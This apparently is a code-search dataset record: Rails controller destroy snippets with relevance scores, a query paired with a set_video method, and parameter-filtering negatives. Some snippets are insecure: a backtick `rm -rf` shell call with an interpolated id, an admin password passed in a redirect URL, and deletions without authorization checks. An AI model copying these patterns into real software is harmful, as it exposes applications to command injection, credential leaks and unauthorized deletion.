"def destroy\n @video = Video.find(params[:id])\n\tif @video.user == current_user or user_type == 'admin' or user_type == 'super_admin'\n\t\t@video.destroy\n\n\t\trespond_to do |format|\n\t\t format.html { redirect_to videos_url }\n\t\t format.json { head :no_content }\n\t\tend\n\telse\n\t\tredirect_to '/404'\n\tend\n end",
"def destroy\n # @video = Video.find(params[:id])\n @video = current_user.videos.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to profile_index_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to boards_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @traditional_route_video.destroy\n respond_to do |format|\n format.html { redirect_to traditional_route_videos_url, notice: 'Traditional route video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize! :destroy, @videos\n Video.find(params[:id]).destroy\n redirect_to admin_videos_path\n \n end",
"def destroy\n\n\n @project = Project.user_editable(current_user, params[:project_id])\n\n if @project\n\n @video = @project.videos.find(params[:id])\n @video.image.destroy\n\n if @video.destroy\n respond_to do |format|\n format.json { render :json => [:id=>@video.id], :status => :ok }\n end\n\n else\n respond_to do |format|\n format.json { render :json => @video.errors, :status => :unprocessable_entity }\n end\n\n end\n\n else\n not_authorized\n end\n\n end",
"def destroy\n verify_access_video(@video_clip, 'delete')\n @video_clip.destroy\n respond_to do |format|\n format.html { redirect_to video_clips_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @original_video = @video.panda_video\n @original_video.delete\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n format.js\n end\n end",
"def deleteEntityVideo( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/video\",params)\n end",
"def destroy\n @table_video.destroy\n respond_to do |format|\n format.html { redirect_to table_videos_url, notice: 'Table video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @videofile = Videofile.find(params[:id])\n @videofile.destroy\n\n respond_to do |format|\n format.html { redirect_to(videofiles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @video_on_main_page.destroy\n respond_to do |format|\n format.html { redirect_to video_on_main_pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sequence = Sequence.find(params[:id])\n puts @sequence.video.title\n @video=@sequence.video\n @sequence.destroy\n\n respond_to do |format|\n format.html { redirect_to(script_videos_path(:id=>@sequence.video_id), :notice => 'Sequence deleted.') }\n format.js { render :nothing => true }\n format.xml { head :ok }\n end\n end",
"def destroy\n @game_video.destroy\n respond_to do |format|\n format.html { redirect_to game_videos_url, notice: 'Game video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @videogame.destroy\n respond_to do |format|\n format.html { redirect_to videogames_url, notice: 'Videogame was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @videogame.destroy\n respond_to do |format|\n format.html { redirect_to videogames_url, notice: \"Videogame was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n deleted_url = @localvdo.video.url \n vdo_obj = Video.where(local_link: deleted_url).all\n vdo_obj.each do |vdo|\n vdo.inLocal = false\n vdo.local_link = \"\"\n vdo.save!\n end\n @localvdo.destroy\n @user = User.find(session[:user_id])\n respond_to do |format|\n format.html { redirect_to @user }\n format.json { head :no_content }\n end\n end",
"def destroy\n @help_video.destroy\n respond_to do |format|\n format.html { redirect_to help_videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @jeux_video.create_activity :destroy, owner: current_user, read: false\n @jeux_video.destroy\n respond_to do |format|\n format.html { redirect_to jeux_videos_url, notice: 'Jeux video was successfully destroyed.' }\n format.json { head :no_content }\n format.js { render :layout => false }\n end\n end",
"def deletevideos\n @video = params[:records]\n @video.each do |id|\n Video.find_by_id(id).destroy\n end\n redirect_to admin_videos_path\n end",
"def destroy\n if @event.ppts_url\n `rm -rf public/uploads/event/ppts/#{@event.id}`\n end\n if @event.video_url\n `rm -rf public/uploads/event/video/#{@event.id}`\n end\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url, notice: 'Event was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video_post.destroy\n respond_to do |format|\n format.html { redirect_to video_posts_url, notice: 'Video post was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @congratulations_video.destroy\n respond_to do |format|\n format.html { redirect_to congratulations_videos_url, notice: 'Congratulations video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n video = Video.find_by_id params[:id]\n valid_request_object_do(video) do\n if video.can_delete(current_user)\n Video.transaction { video.destroy }\n respond_to do |format|\n format.html { redirect_to videos_path}\n format.js do\n render :update do |page|\n page.remove \"video_div_#{video.id}\"\n end\n end\n end\n else\n render :text => 'Invalid Request', :status => 401\n end\n end\n end",
"def destroy\n @demanda_videomonitoramento.destroy\n respond_to do |format|\n format.html { redirect_to demanda_videomonitoramentos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @video = Video.find(params[:id])\r\n # @video.destroy\r\n\r\n @video.is_visible = false\r\n\r\n respond_to do |format|\r\n if @video.save\r\n format.html { redirect_to \"/videos?p=\" + @@ADMIN_PASS }\r\n format.json { render json: {:video => @video.to_json} }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @video.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def destroy\n\n @album = Album.find(@video.album_id)\n\n respond_to do |format|\n format.html { redirect_to @album , notice: 'Video eliminado satisfactoriamente.' }\n format.json { head :no_content }\n end\n @video.destroy\n end",
"def destroy\n @tv = Tv.find(params[:id])\n @tv.destroy\n\n respond_to do |format|\n format.html { redirect_to tvs_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7782917",
"0.7782917",
"0.7768144",
"0.77617705",
"0.77617705",
"0.77617705",
"0.77617705",
"0.77617705",
"0.77617705",
"0.77617705",
"0.77617705",
"0.77617705",
"0.77617705",
"0.77617705",
"0.77617705",
"0.7723812",
"0.77067566",
"0.7692495",
"0.7692495",
"0.7692495",
"0.7682142",
"0.7642714",
"0.76279795",
"0.760256",
"0.75952363",
"0.75657415",
"0.7548429",
"0.7516953",
"0.748994",
"0.748994",
"0.748994",
"0.7489848",
"0.7488452",
"0.74730885",
"0.74634695",
"0.7463127",
"0.74461323",
"0.7437311",
"0.74367225",
"0.74367225",
"0.74367225",
"0.74367225",
"0.74367225",
"0.74367225",
"0.74367225",
"0.74367225",
"0.74367225",
"0.74367225",
"0.74367225",
"0.74367225",
"0.7430814",
"0.7423683",
"0.741572",
"0.73835933",
"0.7377205",
"0.73459756",
"0.73389447",
"0.7321643",
"0.7309086",
"0.7271707",
"0.72651416",
"0.72456336",
"0.7230261",
"0.72263527",
"0.72244525",
"0.7216788",
"0.7187394",
"0.7185118",
"0.7178374",
"0.71680135",
"0.71647227",
"0.7154998",
"0.7147049",
"0.71416605",
"0.7112199",
"0.7062886",
"0.70598",
"0.7030834",
"0.70303506",
"0.701176",
"0.7007772",
"0.7006937",
"0.70040584",
"0.69920856",
"0.6980929",
"0.69789815",
"0.69669896",
"0.6964624",
"0.6963942",
"0.6962833",
"0.69545406",
"0.6954101",
"0.6948636",
"0.6938994",
"0.69369066",
"0.69312394",
"0.6917392",
"0.68755084",
"0.68713903",
"0.68646866"
] |
0.74875367
|
33
|
Use callbacks to share common setup or constraints between actions.
|
def set_video
if current_user.present?
@video = current_user.videos.where(id: params[:id]).includes(:video_views).first
if @video.nil?
respond_to do |format|
format.html { redirect_to videos_path(), notice: 'Você não tem permissão para acessar esse vídeo.' }
end
end
else
@video = Video.find(params[:id])
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Only allow a list of trusted parameters through.
|
def video_params
return if params[:video].nil?
params.require(:video).permit(:name, :url)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def allowed_params\n ALLOWED_PARAMS\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def param_whitelist\n [:role, :title]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def allow_params_authentication!; end",
"def whitelisted_args\n args.select &:allowed\n end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def filtered_parameters; end",
"def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def expected_permitted_parameter_names; end",
"def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def check_params; true; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def allowed?(*_)\n true\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end",
"def valid_params?; end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def url_allowlist=(_arg0); end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def list_params\n params.permit(:list_name)\n end",
"def valid_params_request?; end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def param_list(param_type, name, type, required, description = nil, allowed_values = [], hash = {})\n hash.merge!({allowable_values: {value_type: \"LIST\", values: allowed_values}})\n param(param_type, name, type, required, description, hash)\n end",
"def safelists; end",
"def authorize_own_lists\n authorize_lists current_user.lists\n end",
"def listed_params\n params.permit(:listed, :list_id, :listable_id, :listable_type, :campsite_id)\n end",
"def lists_params\n params.require(:list).permit(:name)\n\n end",
"def list_params\n params.require(:list).permit(:name, :user_id)\n end",
"def list_params\n params.require(:list).permit(:name, :description, :type, :privacy, :allow_edit, :rating, :votes_count, :user_id)\n end",
"def check_params\n true\n end",
"def authorize_own_or_shared_lists\n authorize_lists current_user.all_lists\n end",
"def user_pref_list_params\n\t\tparams.require(:user).permit(:preference_list)\n\tend",
"def may_contain!(*keys)\n self.allow_only_permitted = true\n self.permitted_keys = [*permitted_keys, *keys].uniq\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def whitelist; end",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.permit(:name)\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :list, :references)\n end",
"def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end",
"def list_params\n params.require(:list).permit(:name).merge(user_id: current_user.id)\n end",
"def whitelist_place_params\n params.require(:place).permit(:place_name, :unlock, :auth, :is_deep_checked, :parent_ADM4, :parent_ADM3, :parent_ADM2, :parent_ADM1, :parent_country, feature_code: [], same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def list_params\n params.fetch(:list, {}).permit(:user_id, :name, :active)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def permitted_params\n []\n end",
"def price_list_params\n params.fetch(:price_list, {}).permit(:name, :valid_from, :valid_to, :active,\n :all_warehouses, :all_users, :all_contact_groups,\n warehouse_ids: [], price_lists_user_ids: [], contact_group_ids: [])\n end",
"def params(list)\n @declared_params = list\n end",
"def admin_review_params\n params.fetch(:review, {}).permit(whitelisted_params)\n end",
"def saved_list_params\n params.require(:saved_list).permit(:user_id)\n end",
"def allow(ids); end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def filter_params(param_set, **kwargs)\r\n begin\r\n key = kwargs[:key]\r\n params.require(key).permit(*param_set)\r\n rescue Exception\r\n params.permit(*param_set)\r\n end\r\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def validate_paramified_params\n self.class.paramify_methods.each do |method|\n params = send(method)\n transfer_errors_from(params, TermMapper.scope(params.group)) if !params.valid?\n end\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end",
"def refine_permitted_params(param_list)\n res = param_list.dup\n\n ms_keys = res.select { |a| columns_hash[a.to_s]&.array }\n ms_keys.each do |k|\n res.delete(k)\n res << { k => [] }\n end\n\n res\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :description, recipient_id_array: [])\n end",
"def safelist; end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def valid_for_params_auth?; end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def shopping_list_params\n params.require(:shopping_list).permit!\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def permitters\n @_parametrizr_permitters || {}\n end",
"def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end",
